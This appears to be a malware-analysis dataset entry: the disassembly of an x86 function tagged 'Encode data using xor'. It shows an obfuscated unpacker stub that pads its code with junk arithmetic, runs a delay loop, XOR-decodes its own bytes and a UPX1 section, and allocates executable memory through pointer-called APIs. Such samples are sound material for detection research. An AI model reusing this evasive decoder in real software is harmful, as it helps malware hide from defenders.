Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5038b491
mov ecx, esi
add esi, ecx
popal
inc esi
add ecx, ecx
mov esi, ecx
mov ebx, 0
mov ecx, esi
sub edx, 0xf8c34b0a
or edx, edi
mov eax, ecx
add edx, 0x832877d3
mov edx, edi
mov esi, eax
or edi, edx
add edx, 0x358ef017
dec edi
add ebx, 1
sub edi, edx
add edx, 0x9bf4f537
cmp ebx, 0x10085a5
jne 0xa789c1
sub edx, edi
not edi
dec edx
sub ecx, esi
add esi, esi
mov eax, 0xa78796
and ebx, edx
inc ebx
sub ecx, 0xd84a148c
mov edi, 0xa7898a
or ecx, ebx
sub ebx, 1
mov esi, dword [eax]
inc ebx
inc edx
and esi, 0xff
and ebx, ebx
or ecx, edx
xor dword [edi], esi
dec ecx
dec edx
sub ebx, 0x97274a02
inc edi
add ebx, edx
and ebx, edx
sub edx, ebx
inc eax
sub ecx, ebx
or ebx, ebx
cmp edi, entry0
jl 0xa78a1e
add edx, 0x9c21b50d
not ebx
sub ecx, ebx
add ecx, 0xf553da23
add ebx, ecx
or ebx, edi
add ecx, 0x3e2a7932
mov ebx, edi
mov edx, 0xa7898e
sub edi, 0xef68900a
sub ecx, 0xfceed565
mov edx, dword [edx]
or ecx, edi
add ebx, edi
inc esi
mov edx, dword [edx]
or ebx, edi
add ebx, ecx
push edx
and ecx, ebx
sub esi, 1
sub ebx, ecx
mov edx, 0xa7898a
sub edi, ecx
sub edi, ebx
add esi, esi
mov edx, dword [edx]
inc ecx
mov ecx, edi
sub esi, ecx
mov edx, dword [edx]
sub ecx, esi
sub esi, 0xfd9003b
sub esp, 4
mov dword [esp], 0xa78992
or esi, esi
sub ebx, 1
call edx
mov esi, 0xed52c5ee
mov edi, ebx
and ebx, ebx
pop edx
dec edi
and edi, esi
add esi, 1
sub esp, 4
mov dword [esp], 0xa7899f
dec ebx
not esi
push eax
add ebx, 0x8fe83bdc
add edi, 0xe3d2ec72
sub esi, ecx
call edx
sub ecx, ebx
mov esi, ebx
push 0x40
sub esi, 0xe5730
mov ecx, ebx
sub edi, esi
push 0x3000
sub edi, esi
sub esi, edi
inc esi
push 0x20000956
mov edi, ebx
not ebx
mov edi, 0x8a90d3f2
push 0
sub ebx, esi
sub ecx, 0x141bff23
call eax
and edi, ecx
mov edi, 0xdd66bd4
add eax, 0x200008bc
or ecx, esi
inc esi
mov edx, 0x2297d7f0
dec esi
not esi
mov dword [eax], edx
dec ebx
mov ebx, 0xf5ccb8e3
mov edx, dword [eax]
add edi, 0x6ddd4913
or ebx, ecx
mov ebx, esi
cmp edx, 0x2297d7f0
je 0xa78b69
mov eax, 0
mov dword [eax], ecx
add ecx, 1
mov edi, ebx
not ecx
mov edi, ebx
inc ecx
dec esi
sub ecx, esi
mov eax, section.UPX1
add ecx, ecx
sub ecx, esi
mov edi, 0xa78795
add ecx, 0x46b5065b
inc ecx
mov edx, 0
dec esi
mov esi, 0x92284d9f
sub ecx, 0x5e4273d0
mov ebx, 0xa78796
mov esi, ecx
sub ecx, 0x4c2a0aa5
lea ebx, [ebx + edx]
mov ecx, esi
sub esi, ecx
and ecx, esi
mov ebx, dword [ebx]
and esi, ecx
add esi, 0x6a35cd6e
and ebx, 0xff
add esi, ecx
mov ecx, 0xd3296bec
inc edx
sub ecx, 0xa4318fe1
add esi, 0x4f0268a9
cmp edx, 0x1f4
jne 0xa78be6
mov edx, 0
sub esi, 0x5ddec928
add ecx, esi
mov ecx, esi
add esi, 0xae320238
sub ecx, 1
xor dword [eax], ebx
sub esi, ecx
and esi, ecx
dec esi
add eax, 2
mov ecx, esi
sub esi, ecx
add ecx, 0x88c7e3cd
cmp eax, edi
jl 0xa78b9f
add ecx, 0x790db925
sub ecx, 0xb47574fd
or ecx, ecx
and ecx, ecx
mov esi, ecx
mov ecx, section.UPX1
add eax, 0x2b19d0e4
add esi, 0x14fa27d5
mov eax, esi
mov edi, section.UPX1
dec eax
add esi, 0xf81c9450
mov ebx, 0xa78795
sub esi, 0xce4204df
sub eax, esi
mov edx, 0
add esi, esi
and eax, eax
sub eax, esi
mov dl, byte [edi]
and esi, eax
and esi, eax
mov byte [ecx], dl
sub eax, 0x36a065f0
not eax
inc ecx
mov eax, 0x3a28d6b
mov esi, 0x2a959f3b
add edi, 2
mov esi, 0x24ab3273
not esi
dec esi
cmp edi, ebx
jle 0xa78c64
or esi, eax
sub esi, 1
mov esi, 0xeca76928
or esi, ecx
push 0x8dc6a0
inc ecx
sub esi, 0xd476b25f
ret